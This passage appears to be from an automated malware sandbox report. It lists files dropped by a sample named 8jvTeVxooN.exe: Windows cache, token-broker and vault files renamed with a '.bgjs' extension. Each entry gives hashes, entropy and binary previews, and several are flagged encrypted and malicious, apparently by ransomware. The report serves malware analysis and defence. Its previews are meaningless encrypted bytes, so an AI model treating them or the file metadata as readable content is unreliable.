Preview:	{.".TM...r..\..+."[~PHDc&SN.v...Rnc.K.......&...Z..Uq8k..m?......)h....Q..DO<.V.f.._-5.Dx...<.x....+."7,W.U.41;.Aq.^.72'...Y./....$!hs.+eu...X.q."./&.G..0.s.+.o=...+6....8......Oz..sK)H..k..Gz..B$..0P.H..}oF ..f..:Mg......T.JL.R....aWt..w..Y..`E.......c.._..,.I..Jw.6l.2..X:.RE/.....;.M.......h].....k.c.}.....e.z,...u.j+.6....TD....Fv7....x.-$...#z.m2.....<....}.A2p(B.......x....E.....>...m2?.fH..x..I.'h..H...<D...q.Q..-^b~.].P6.{Y.U.n..n..y...D....X.G(V........."....\|e..E....IXr.).../.K6.0".UR{Y...t...`......=og..%OE'x%R@{U........y..}..k.R.:y...W..W].Ez?.,V]..... .!...K.....\|..Z.$I.Bv6<..<.Fj{/.....&.^..0..?-k`..g.^.w...sZ`........IC.z..l}.~..>..Q..G....{.Lcm..1..........DC].."A.R...-..#..........Z&k..[^..i..\|^.q.]..]!i.......w{.J~;..,o.4....c.o.v...5+P]...w7.V.{....4a...B...h.z.H..E..6q...C........m.;.h ..D.......p?.......-..V.`...(..VB\|.7. .S../.....(.5k......:f..6..:U..v?'#.....".n...4E4.F..j.s....SG.7`$(.Z....iX.N.+G.

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\5475cb191e478c39370a215b2da98a37e9dc813d.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.925108232481697
Encrypted:	false
SSDEEP:	48:9qEt6CqpdhF0++B3QshBEO5lxiXFBF/K5VRrRoEYfP5GmMKTXv7viP+zm4luD:9q66Cqpp0+egszXGXNKTLIfP513v7KP7
MD5:	52CCC6D67135064A0FF9A760B43E0FE1
SHA1:	DA912AFE576084473D6095ECE8701AA66FBCCEE5
SHA-256:	EBE4CA3E19B83B1820B24DA36B3ADCB33A721A1857CACCDB29DE8B3430C8A9A5
SHA-512:	EBD0282A49B8B5C822C0C93E4EF8FEEBB3F2B16DD3368DCC7668982131C34C88A74BB2F7AE255997FC5F6F6D9B062A482391B3BC6C0C8C707879FB319ACF686E
Malicious:	false
Preview:	{.".T"=.....ZB...]..m.VI.....?.e<K.G.....t..;...&..@Pt+..#.!..Z...JJ....\|].. l..p.r....{.........ToRd.[Q-R8....G..^.&.$.....,."7=;>.B..g..zj}...\.F.3;......3.u..`.Lu9....%....k3..FTK..vD7Tu..y=......)...d].v@.=.=.FV.T..2.3.....G...U^.L.TB.=E..#..1.Y[..k..'.....c..)8.u..o.&F....G.....9mo.JB.d..........R/......T.o...E....a5w..v!.V..>...n.....@..C....(.........S...p.e=..{....h.P..N.H~J.T{..H...6...%.\|.T...k..Il.y.((....g....?.g$3..}..A.:..^m6..^.\|ag)..v{...{k..s.........!.H......]...\|.....8..j..'.8....u?3.;.P.......K...CZ.!.....A&Mf~....E.]..n...{6.%g.........3F..n.7..E..g7....`.7.3.MI.S...(..$.RS.Y ... m...K%.............2.Z...}.x..X.^..w..2....4.....u.X...."...Q.)'p.azR>8....B..@..V..E..w.X.7.t..13.....\}.W...........#.kM.:E.VN.A.....t.~.....5n.Oz....z....g.."yF~.Pn...>........G....Ro.3..<k..~wk~....\.kKp.*IqN...CW......._.{...A..Q.D...4(..}..;..TJ....B...z..z^i!..?+."..F.Zx.X.j./08x....y..BL.jb.H)....o.k...@..;..).v{.!/.dq>+D. a.

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\56a61aeb75d8f5be186c26607f4bb213abe7c5ec.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	4876
Entropy (8bit):	7.958718155596628
Encrypted:	false
SSDEEP:	96:r18nmxS2B7WNyOss4rsMMG1uhGmAkampWF8I2YbccW/7ger3DGuDiPE58TY:2U1s4VMweNXkFb2ga/7ge7DlmPE+TY
MD5:	3019566AF8088A892768B2A38D02CFD4
SHA1:	DFBF9E374092DBD4F13FA6C7BBD7DA8925228170
SHA-256:	A18ABAC34ECCD5BFAA12B88FA4A639A2F24D630AA931CE0D917A702C8DF975F3
SHA-512:	8EEDC58273C1CFE4B5ADA145C1089216EC71021A5B64F8457507058DF0715A425CB0D43D0BBC7D660CD3742A7FB5114259F9DC6869228FC4293BA057BDB06689
Malicious:	false
Preview:	{.".TWZX..m\|_+........2.+.;.@.[.V \|W.[..%.X.9..W.x...`...%..Z}/.f..\.03.....l..l.(...2..#,-+..h.r.y.RG.W._gf.Xx.......w.5..... S.'\|.j..!..7..@...qD.k_.....e.....(t.eA;.7..sx}...E..X...\|.].....y..`.e;.t.a...I2.....9b.s....8.lM.9.`......v.~...RS."...2.5Q.N................{I....-..!G...2..k.J....H..w`P$].]0....B.5.u....Te0..sc..W.I.&.J..<..I#.Mq(}@......D.&%DR8."...*.....$#..U+.\..stP...bT....@e.u....:.Fp.....W..H .D.../vi.s...R.d..;^lG.`L.....>W#.^.Y...5.v...!..0...LIMn....r.ldH.L.\|.....d.....D.A.-..Q...7.D.~v..6...kS@lo..p..Ef\|r..w..$Y.a.O..Bn.........o..k..E..^Z4O&x.5.:........H.."..D....%..4...-....f.DD.f..3._.9ed`...7..`9...,.:(.5....N...`...@.&.......k.......v...]^..zP.&$.7Yu.'..h#.`...k3&.\|/.<.~..F..p.............Z..>F...X......3.....F.z.=...G@..~..C..Z..u.......Ugu.....a...M...........m.`.........-.....!...5..!..x.Ag.JBe..E...o...&.uxe.6=........6.#b)...^...1>.....eu]..(f.TS.-.?E^bT4...59......Q.;._1Y.(..c,...k.\Q..._u.)..

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	3018
Entropy (8bit):	7.933360324898996
Encrypted:	false
SSDEEP:	48:Lx4G+6xyBZbwvzYZtFDelJwfYbHIGUsL5ykVMKqQ0WYVk80etCI/kCmLfjHEQgB3:l4G++yBZ8kZtdwbodsL5yYMzvWYx0ghN
MD5:	89D72D8EED6C3B3398DFE6D47A1A96DC
SHA1:	E4066721B37C8516E0B41AD9E9CA156697B6EEE6
SHA-256:	3C9DA6474A802D5D0456122C37876CCBA7C181769E5A3BB9FC0B3B6A0947F7E5
SHA-512:	FDE67FB8C94C3B01F823917AD9C6319D78EF1F8D38DEC5E9671C05FA38A6006D2461952F559E06648EAF3EE5022C41DFFC2E94C6A47A028D37FAD0341A06EBF4
Malicious:	false
Preview:	{.".T..%..t..L.:....e.3.;.{./.ioi.=oo.L.q.Ann=..uO.r..m..3..z.JgJE.=e\..3.kx.,z.....m+d...W..G.z..O..b..6..8u.......d..TpQ..._..WQ>K.b..r........Q6..z......].....-. ...R;...cFk.(....q..4...%.C.Q....k.2...1.......d..v...;-..M~u.h..=..g..\|...i9.m. ^.......i.1i..1XA.tP@_.o9..~....7..Y.U.CIR.F.cy.\|\........m..Q..F#..&/.....k.A.;u+?CS.Z.".../z.Q,..5[?g..Hw..]...3t..=w..(.......r....i.8.lO=H.e..t.....(..PC6..!-.Z.........}\...8-\....o.t..0.Vu.bl.#."~.`.z)l.Yq..#f...=<..nCp.H..$T!jgj.Ttg..........5....GiLe...F......<......c_.Qj..[gF..Vgl.)..U..@)f.M.T>.f.=.:/....5..\|&.4..v....I7......x=H8..x.^H.E>..o...[ho.fz.$..i....w.X...I..F,.....Bh..0.......\|....6L.45.N..)m...<.K..o..r.o.1..9.6`..../.@.T...F......L..eq!....Y..R1.!.............=.L.,.:x.h....}.v.XN.B....\|...H..o}.[,w..[.>......>.......\|`...9..L..%.=K.....D..hS .3f....A.6.oL.. ....J5Z.c..,.d.\..3l..`t.b......#...Zl...Z.._t!."/+. .....5...3.D<\...u.e..f.[.Y...s%.;.....[.S.U

C:\Users\user\Local Settings\Microsoft\TokenBroker\Cache\f036564d8b727dbe99499799c7e51936a642f62a.tbres.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	2612
Entropy (8bit):	7.928052807534827
Encrypted:	false
SSDEEP:	48:ZjpnKCVLOY++RDjSInYcHaWTs8rdjXVGmUnl41IzD3VgieD:Np9Lv++Zj3BHaSdZQmlmD3Vgim
MD5:	2E362D34F42690F68F34DC6FA924094A
SHA1:	A2482491807D23CA736691384C8B717183BBD1C2
SHA-256:	ABCEB03C355B0B905C63A4DF0926C1AAE11F74D1D7485C8B0E4595B103152BD6
SHA-512:	4918EB4E077FBC3D31ED017E8FCD197CF8908381816C2096730A0B9F83D9E9E53A04DD7638DD188488586701EE8C030B9DBC321BD156AAF4F6E364C6619030FF
Malicious:	false
Preview:	{.".T..]nF3.....6.L..Ia`.y..)../..a\.F..A..._..3!....p..8..!.....-....l.L...Cv\|.W.N..G.v7).....'...[.cz...(ic)...x.'.4.P-<...C>....>.#t...G.+i..S.Y@.u..Pp...d.)$..i]z../W.T.#&..Y.`=.._..-uP..g..o...O.......?...1.q.~..H..UW........m.c~. ....Ng@...n...-.?.>.9.q].L..)...f..........U.}c.oV .i.`....Zg..8......^?U..#..?..`X4...X..S..u\..1...{..B...J.0!.,c.......C...F...RZ>.Z.............>.......O..y.NI@....r.].........?n..r.i"`..%CB......3@....C)%.{..t..X+....;%.%!..r.c.N..w&.<!.....o.......W2...k..... ...=...-...... q1'..J.B X.x/.\,wa.......?...r%.a{...=.....V...m.u...ieR=!..k........"..f...LJ......Hk...7T...h....'C@o;ye..r..d.."..R..:r.^.aU8.-.%..._....w.C1....5.R....G...3.k"...e..6...?..+...."i..K...27B<....I.x@+.I#G./....0/.5...KJ@.f.Z\|..:.8...G.J.d.....}.z...7d..h`..Mu..fL\=....S.........[......N.&.>.}.d.S..._k.C:.H.1.$..~.....2H)..E."....).R]..}..;{?.B.F..c.......]F/H. :P....%...4....yt...R...r.?#v^...&W7p.E5.....r/....mQ.u..>q....CN..s..2.

C:\Users\user\Local Settings\Microsoft\Vault\4BF4C442-9B8A-41A0-B380-DD4A704DDB28\Policy.vpol.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	770
Entropy (8bit):	7.727596270103688
Encrypted:	false
SSDEEP:	12:2ybqdaN7cmUI4J6N0A8AF6D4PGNPamd+KsR2hH2BS5vF6YW4dbuOcii9a:2ZwNYmO6N0Ai4+fd+VEcBSfWtObD
MD5:	8196EB159ECDB691C907B737571E2BDF
SHA1:	87E01A8020604AFE0AE8F613C21BCAE5D030DE32
SHA-256:	F48C150B635E96817F0C40800723D7EA12F6695E9DD7F17AC21A6CB2C9201BED
SHA-512:	62A11863BBA7741537E155A4E8A73DB6995D01BDA796348DB9D237A2FEDA39989CDA91470DE2C607F6704B1A0A0B216FF4E5C93737BCFDFCBA00F38CD350A1F4
Malicious:	false
Preview:	....Bp..,.4/.EY[..Y.O9Lrd....el.x$.pX.;......#9...n\...k-...>f...3.....fT_.8U%.a"..&._>.(\|D)P(.........{....].......h...I.0..\|.\|.:.j......yo.{Y.;Y..v.%.s.<.z.t...m.#..N...h....=.Yi.....Y..,!o.`Vx.n.h.....)M..=..6...+U.O"...T.'.bN9.= ...#..W.2...._.?.Xbi....H.$.....P...){t...P.......h....:..mF..r.....-s..%....mV.\|..}.5.._4.Wj.A.T&.^.....i.f....B......J?3.)o.+I..........2&V..3.bv6.J..t'f...3o4.5..D..q........P..i.,.k....y."[{..I@......VZ....S5!H}.@M].[.R.FE.Y.....3.....m.`........s...........\......a.4sY.,....'....x.....(..3.q..}H4..p...t..t.G....j...`.{.N..%6....0..6S.y....H.^.B...n......0.[..T..7]G{i..K._m....\|A.qb..# ....v.gS.10..'..,TvPb.Z6iwSvCoAt8T8K2ROxecuXHPNHv7eDyWrc8Ks7t1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Windows\2057\StructuredQuerySchema.bin.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	424152
Entropy (8bit):	6.332741832734127
Encrypted:	false
SSDEEP:	6144:ATuVc0GUwXTuI9OlBCafIwiEO+XBm+vyJfbnQkK96B88yKv4bWTmTvEiLS9:Kue00Tx9ABCqIwiEnXBm+6dF4/W
MD5:	F912B16213BBCBB16C3F57A7F173A913
SHA1:	D7100168D0F2D49AA6A96F1950040104A914D538
SHA-256:	F355ADF13CAC7BFC359D3AC5164DD6A2AF6DE07197A4BC7539A3A571216AF576
SHA-512:	685008129CE3055B9CC30893380547D2445C1BC106283116E81433B41B16C7FC1B3FE1CB6D8EB4B0942D350D0D9752380840C7686CC877343E2302C71112D85A
Malicious:	false
Preview:	...P.&..6.9u%.un.T\..h.\ .t+..$.A.8M .%..W.?e.i.1.~..O(.....!BW]O......wHA.I...g..4V......B[..."...I.?....V..~~...&}.` .3G..{..f.u..?T......X..8\|..2.../.#...h.v..(J.2..]l.PX.5.3..C8.[..j..aQ.X..e,....e^..W...6=.n(..#.&`-c..7......I0.k.l....."dec].W.>L..=0...;u..io5..d.K......5...z3J....@#....B9T..3...V[<_..C.!..:l.....k.a..<..F.tp......f.....}O..h.x..f..dF1...ph.C.08.W.p.R...?.j};H/O~2.....`...4..X.G.\..W#.bM..\|..H.~.z..T9...'.^..{....C..B...>Fpm...H...o.M_>l.+..0.J.&./ ....m.w%.u.....G...Nc.x.z.....0U.Q.........;.us..<.v..W\|.v...4..0@g.a......;..+W..p.Vh.u.+.9..6W..\.2.t..v..q.-..g.......bS..P..TX..#..6.,..-...A....G.2..c@.q./I....N.S.M..Y...".MZ.......'..'..m8.Ue.V..=`..T.........j....R.t.{T...S...p..}.].....62...ES....:....dX...ZFS.......@r.h.s.A....4z..OI..y...3\.>.kq..)M..O....-.....}...x....}wv.."R+Py..45{.n.!7.....*_..i.x<..8.X1A.[.\.w..s..(.x..=..u...,...hv.kO.+U.rA~..F.o....E..Q[Qqk......c.ZHZ....>.....$)....e..r.C

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.1.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.989710988504287
Encrypted:	false
SSDEEP:	384:v5BwNm3NNSRi7Qnxmzl3bY9PmTZxP9H3Yg3m9:v5B4m7qx8bYd433X3m9
MD5:	D4584E69ADE217B43CE2E654A31EB652
SHA1:	5707A023F8BD6B2FDDC26F00E2B26D08E862583C
SHA-256:	2765B96C52E96BB9211B49D72F0B37519DE1F8B9A73F8681BFF2DEDD8FE88089
SHA-512:	C55B1B60263933C60DD76F34470D5F747C27A50CCCDCF55DAA89315B1CB45E31DAF4CF657A6BA045C3F994A938F84424FB5CAF50567F11AE9429BE4F94DDD69D
Malicious:	false
Preview:	.... }..,....~.w...]j.^.J.....L.!<a......~./5.?..z.k.../.<X-.....)..>ER.9,.%t.d....;.,.Cc.0.,.....:........S.3U..a.....O<..O.]..;...5.......uN...BW.k.Z.l2................c}.~..V.....;...."Z....v..R&.M.....w..q....z..LV.S. .......("..U......z...f'....W4...xsS...=....9...$..b\!_.../6....T....z.e.......(.fB.f.%.N.i....I4{.....+i.....p..X##...6..._....al.6.2.....<+.R....Ut...z.R.....t.F.......n3P&T.s...~.F`.E.2.4..f.T.E=..$.9E".M.A.....3.'/t.....O.ej..1]>y.[....eglI.r...4k.HM....U.AH3..Q......j.......Zy[.S..X.6P......;@.9..$r......$.o..>5..<{d_.-Ki(....x...d...(.-r\|.V.a.:4.....S.2.d.H.b{!.#S.6:.hOz....L....p..l.=F...Y....a.{..2/...>...8..t..:.....X".2.$;.@fe..y..XX..d.%.u;h..Y.@.%.\SRK/'....."".tqZ....(..U...v...}MU...&."r.N&....ho#K...>/.jh....A"%..%d..E@.<Ic!.'.....+.\|%.......d.1y.=. t.k.W..E.w.r2...).tq].../._...B.....].......l..........+O.W.H. ..A[EO{'....E.e>...g]w..un...g........n.U!..}cW?.Y..V.d..._Q0E..Ho8..@r....e..@C&@.IE...N..B!

C:\Users\user\Local Settings\Microsoft\Windows\Caches\cversions.3.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	16718
Entropy (8bit):	7.988851729401135
Encrypted:	false
SSDEEP:	384:6zbQkOwxNTxuK1sjd2ngKWfzMCGe0n4/jJ5EgLnfPn1G8d:qbtjYy4d4uzMCH04/jkgLnn1Vd
MD5:	EE794A9561C6542B5AB6C6A9CC247390
SHA1:	03C2203C3592AD3AD1C6B9090ED1703CE3F00F15
SHA-256:	4B97EE1AD74B4CC57D4DB1B3C5B4C8FB5240A27602372657203832670E240F19
SHA-512:	7AEA7ABF908F0891BF3AEF661B6EC80F25BA94CFE1A4ABEFAB09407B6192336EB5174E483A332F1A7D4DD963C2BE5BC2B5E05A3178E03651230384EE360B3E73
Malicious:	false
Preview:	....`z.iAO...E......V......"i....u..sy....=.V..M.......J3%.'.....$..-."....3.......{...D..K.........k..!a..t~/.f&u......,....(.jK...Q......A.h.tW..1b..O..<7u.G..p...UmAV.....R.~..P._..r..N.)/..][...?".2.O.H.h..].g".L\.-..`...`..."Q8.E.......BK.u.@.j.h}l!&.V...C.b..'EI8..T../?.0.e...2L]]9............\|.a/H).... .e.>.Q....^&].GA.NR........].iAV6.r.....q8...C&(!........M......p...........&...="...Pwp.z.0.`..I"W..\.a.....).....K....zz..9-.'... s).aI..5.6v........^...p.....KG.ov>.S^.@.S..d......$....T..H7@..U.vU.F.c.uV...c....Ii.o....,..@..g.7.....W...,.9R.^.t...r.._..?.qq...._.....W$`...(#5C.(.R>;..k:.0C........L.....gD............P.=.~H.1Zd...;f.I..M..1...+....V.XT.".p......4RaQ.;.u....n..ME`-oQ.c8..Z..s...:t=.3.z/..D.{.Ne\|.(......~.4T.w@1X..5.C..}:.]}...H..,....N'TAO......\|+ecO....Q...KT...vE.@.<...^E.`B.!....>@"U=.b`....w....M_.....l...X.....E2...7..UO.S!...l...g....R.q....+.l...t...#..@....M..C...j.%..7.Xsa.....w...~.;2.yL?s.\|.dWst...

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{2FE9468C-B905-4D30-88C9-B63C603DA134}.3.ver0x0000000000000001.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	424190
Entropy (8bit):	6.330104572202664
Encrypted:	false
SSDEEP:	6144:PM9ZKG6swMVGKvxxM32dsh9j7Jqm+vyJfbnQkK96B88yKv4bWTmTvEiLSd:U9cWLLtsPIm+6dF4/O
MD5:	9B59281428ECEB221C84F0EEDD364F65
SHA1:	994B104AD051B8A8DFA913A301467C160C02E9AC
SHA-256:	6A66E8B050165ADD267E215DEA4B20F41E55ECDF3250460D4E92663A7925EEF4
SHA-512:	BF20A3CD3F30795A24FC422766AECC941FC5F85A8E5F2A382F6FACCA60CB893922CA7A5E47B01D9A06788898D9DC7BF0F292A28143B60AC32A200890873D724F
Malicious:	false
Preview:	.w.. R.Z,%.....&.1._0F.=S.....:..c....J..g....w.a../.....U..L..]}..#......n..S.^.7.{.,U\|..5../..\~...,.>....M......i.....;...I......C.%>...;w.^W.`..`8...... P.^6..6s..".X.fS..............7.wOO.....%........\|......5t.'.Oo......D.M{....+.IUt.X.0..Pc8.yt..X..#....yZ.7..$.tv....n......@rJ.GQ...K..O.ei...}.J[.{....... ZA...]........@YG....@.........y..uqbd.\.c9.}<].r#...;./.Y..l.......m.F..6.Z.9.~g....s{...Ce3.X.U.u...a.<'...Z..#.{.C.}..O...K..?...P..+0.....I."...m.O.....pu......X.+.o7=0h...yOC....8...u.dD&.\|<../..).T._....!.D.1).vu.{.s..F.].........H.&A.\|.?.7...l.L.X..W...!s.[).I...\=..EW...{.7....(Ws.".6.0......... ...?t..J....I.,4..dV6.6T...6AA....0Q.n?.....6h....P....\....9.p]2\.jiF.K.z..d..'.J....=T.-u'$.x.5..`i3Id..3\|.5H.........9...h=.....1D ;.[{.9.em....-.Mo...\hF...".Q.>.1_V...zX..^V.v....c.bT...G.y}..9...G.V...........I.....rR$..>.O...}...rW.r.JS.q...Q.N...w..uR.X..EK..v.xO..P ....9../U...{.KQ?..S..5....}..D..G....N.v.FKv@.G..q.:tA....6..

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002b.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	104886
Entropy (8bit):	7.998395411625892
Encrypted:	true
SSDEEP:	3072:kJ+Wuoj7docYRkgQOvc7lqaiExldPtidp:6+xsdQRkJj5diEPd4dp
MD5:	34BE5FC851448C260994DEAA137715F5
SHA1:	5DBF2394917310AC28D5C045595490E7F5721DA5
SHA-256:	68B02BB46A0F1F4825692083267E5F378755B9F5EB87CD68BBD97E936CE6E521
SHA-512:	940384B7F47FD6E6A1C843EF1CDD22E404FCD7207FE77C9BA803DDD8161E96DFB76FA415539544C3FDFB44D98E2C9E39884DE3A0A8AD8539F14BAFB464BC39EE
Malicious:	true
Preview:	....h.\|sbL>:..O..G?.....>cSY..x:R.....C.....).":.@e..5.......(..q..J...U]..L.)5...]n.s....^.I...=W8.YW......!..D...6..W/.M..b2;]oH..rh.......z.C...G..1^..7.R..h.Pc.s.....S^.(..8w...Ie.U./..>."M!ws:y.b..4H&. T...l5una.........h.61T.o'O..\|.8.V.8..7l.P./&.5....w...>....R......9..:fGh..Y..qr.....>.).].l.#.M.0..o.:..^....(:W.. #...(.4..B..j.H:..{.Y........}y.Z$o.5k...[....1+Wwr'.<.x.\|U.8.BF..kjgv.....-..wL{....V..x./.0.\|\|%...\....s..6W..5..r.f.>&~..S....\|B.E.5.c.[.....~.....P.Ldb2.b...S..'.$...E.4W......N....+...Z.n.,.D.z.G....;_.. .7..~.t.....u...g.t..8..A\|.b+VM.?..u.\1.k`.D..7..`:..2..].D..:Uk1<=ID8i.;p.M.%...4......I..5.....@....=.....0.^.IN.y..........>}.G...Ad0R".....&.Ub....D...t..BPi..3...,...d..o..$.-g.R ..=RZ.^.!....<.!..G.S..,...%I:.a1.....n..#.'.+...6o/.tQ....3..a.....NY.]R..5A.ppUN.p...I...y.%... .../...i ..s.E..}.KN..M.".B..nd.}[.E.Mq-..t...X..`d...$.'Ii.u..A.......6........V........4t`.Q.e4..s....`q8..XG.s..>_..

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{3DA71D5A-20CC-432F-A115-DFE92379E91F}.3.ver0x000000000000002c.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	103638
Entropy (8bit):	7.998157095008186
Encrypted:	true
SSDEEP:	3072:mVDdXKffzNgvYsP403lnOIlKJDX/lA1XHj6g:mzaXxga0dOIIJzC13ug
MD5:	D24EB7527E9959503D49252C9B21D027
SHA1:	389D114B96D3582840BDD39A02CCB3DF144FE7DB
SHA-256:	9B41408E6311203EFFC8246E8CE848697444D0E151045EB327CE28E9BC0F13BB
SHA-512:	13D695D0FDF75176367B3A4A10D3F0552200AEF4F379522D4B800DAFF608C84E6F3BFDE0FDD009248FE14A07F71A5C2251BD8B1370E547491EABF945FBF18F1B
Malicious:	true
Preview:	....h...L.g..+Z..(.43..+.....[..2..w....Q...J.!S.u{..?...V...;Ve..H...`.hp.p.....7..t......?.....c......}S`.j..&.9j..Vu...]m<~#.daU...s........y..\|. .>?.y.....\f{N4.o..J3...8.f..?zKh.i{.#r.k.:."?.].........\|m....{.9.>o......v....0.".G (q<...........>.W..,0.!.<.{^+v..V..-p.>.....i...8....k...L...n....fN....b."u9..U.VJ8.H.T70......X...#..c..y..P.p.;...3....u.52.'vW....(S4....t.....x..f.1...Mc....j..qD5..g..6........9.z....D.i..<....Q"/`.A.V..[.....Z.....8..\.=.nAz(%.Tvp.:..#m.R..IZ;.....H..d......L.....l.....C.....N3:.+Z.z.A%.hk........g.Dt2...KS.l.(..aGAh..g..:.A..KR..%x.8,.....k...(.u!U.{.Po..q4....h.WR..&..v.M....b.j..o..y..\|..6P).+.fr..g.....G....r:...S7D...pz .......Ze..3.4..SE.1[6.9v#$d..>^.-0({......I..&..'........-\&..g..<.K....`....k....(;...N..RG-..J\|I..Pbr_...^.h8.. y.R.Z..s...L.....Y...eQ'.Jv...DJ..M..E..Ew@Ia=..Q>."..m......f.i..4.(.-,....>.b.......x.Qz.K.<...?.`g+E........!]e.eV..F.$....\rz..5..).P#W.Q...x......\%3..*@.{.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000006.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	56862
Entropy (8bit):	7.996302972330939
Encrypted:	true
SSDEEP:	1536:n2uTsuPnv6FbwbePiU5lQlGxBhGmIu2nVZrCdIIwwE:TouPnSFriUnQlcvGmaIg
MD5:	67595196C3E1C2156F70DF8C82E34BD1
SHA1:	24093DBA4951FDD7BB50A03295A5D50BDB9FB826
SHA-256:	9D42F8ED0A9F5695E74F27423E1A9952FDC917C16DD3B2220198BC16E561D9E4
SHA-512:	96074B75DA0DD01127C3394EB6A407073FAD83C68BE6ABC751CD63845969F857D9AE60A3ABC37FD10AB501C50B73A3E46B7AB705B2C2922F97D6C4E794CFE7E0
Malicious:	true
Preview:	.....0.R..Ku../....bqO.....bd..V\.. 9{....-..>...8c...Uq......d..I.P..TGL.f..hW...y..x_Z..K..U.fk}..O............f..'...._.....c~.._hbi8...<..rDA.}.3.ii.E..;.c.;...8z.O.J..-".b=NH!.pB...e..(.9.......}{>X.'2.\...v......5Y...)@.}..Y.-.4......].[J58.!'h....5......[m.TmiQM4....L.M.`]\_^jc3?.SS..,.......x8u.....:f..........7...t.. .r.p......<2.\..s......2.n!.f.HB.f.._.(....$w.]..B`...=...VJ..![A...q....v..-.T;,..."....../..E..{.{...9....l.t<..O.&.e~o...$D...B:................c.Q.D..#..U.R...T:q9...d....2..J53.P.....\...4.~#L..q.oj1.<......g.[..Yv.&B"......7...+_+^j...SWr.<.z..k...Hna.....l...s.........6.W.b..f..<O..{-.{.O.d.<..h..,...B....bd..pJ.U.X..,.D.S(...r.........7.].s..r#.Gcy..&.~4{.....m.....a..2..Y.y...-!.!.C.8.+(..0JK.?.o.nU...V..I..9....e.6.\_n.....H..L...X.O...,.;.Z.....Q9..4.Z.N.............Cw..A....Z^..X.]Zj....v3XX.v.R.. G..m..W.=.S...OX...e.aQ..x.d.C.?[!..{.E..3>...4.k..B._o..<.....).E...$.w..0~.=...}y...NhV.c...BPW.o....:.

C:\Users\user\Local Settings\Microsoft\Windows\Caches\{AFBF9F1A-8EE8-4C77-AF34-C647E37CA0D9}.1.ver0x0000000000000007.db.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	75358
Entropy (8bit):	7.997884563979587
Encrypted:	true
SSDEEP:	1536:VA0DWjTx80qrIKDqj88FAy615+k3xle6lv28axa96cCxZM5:VFWvx80UIKDqj3ul15PxUYe8asEBxy5
MD5:	4F31AE58E176169E295B3A60FBC95061
SHA1:	811D38D589AB666CD6E680614016E5702C41FA0A
SHA-256:	C64182E75829EA1E9DE5BB969BF0C4615B60C200192999F804845C8B92F5B28D
SHA-512:	F606C288C9331CF66139E4F99248706D3E6064D5755D9A88D58875B9DE982E938D888B4249A0EFBEFE97DB76ECEE4DDDA63D282B9EF0EBF00FF546BE3E258863
Malicious:	true
Preview:	.....]....h".N.B-J...(.d)XR.....1..=[.!...2[.z. Q{L...$.H....xm...fY....NO8$e....lo.......k..v.j....[0X.%. @.u...m..y.>....E..EU[.....U...D...t...<..,.7...h.,...I.{....!...].>.......@aw1.....u.0 GW...\@..@....v."..Hvn..?X..Wp..)...xrk....b..v,.GV.=.x..Wa...m.c.......ho..4.g.....$..q.6..u4.w..\|..v'jr.H...[.@".vI....1...h.y..I..NKS9=...>:..Z.M.s....y.8..e..r..9....g-.?.K..uE".e.S....I.3D..d.a^s..}.>u....9a..@.FG...B..KVa.W.HI8.!A..kB.m.R..Q.y....:..D.<.._?../....!.B.=.o3.Wm.U...M).....FG..OI. .Q.v.n....V../..k.y..:......K..!([.!E'....K~l6.N.......qu........'../..\.."@..I.....GF.l. ...w.c..K.\C..A..!t..j......d...Y2....[..e-..r..=..K.#?.t...s.9..V..xU..=I+...$^..N^..C....&...V...$p..+..S^a.^....E....k.8.J...6qU...t>...A."..?.x....."...r...-\......}?.g...X...cwl....+.89...K.1h.&...&.y....G...A7CYC.Z.2.l..kC}[.L.Y...+,. z3..Q..J..1...}).s.]GT...)0.xS6.U.iQ.A..=...U.`7s.8."."........./.........H.M.7jr#F.z...e.H..&%.I..(._..I.5

C:\Users\user\Local Settings\Microsoft\Windows\Explorer\ExplorerStartupLog.etl.bgjs (copy)

Download File

Process:	C:\Users\user\Desktop\8jvTeVxooN.exe
File Type:	data
Category:	dropped
Size (bytes):	581966
Entropy (8bit):	5.818192315475655
Encrypted:	false
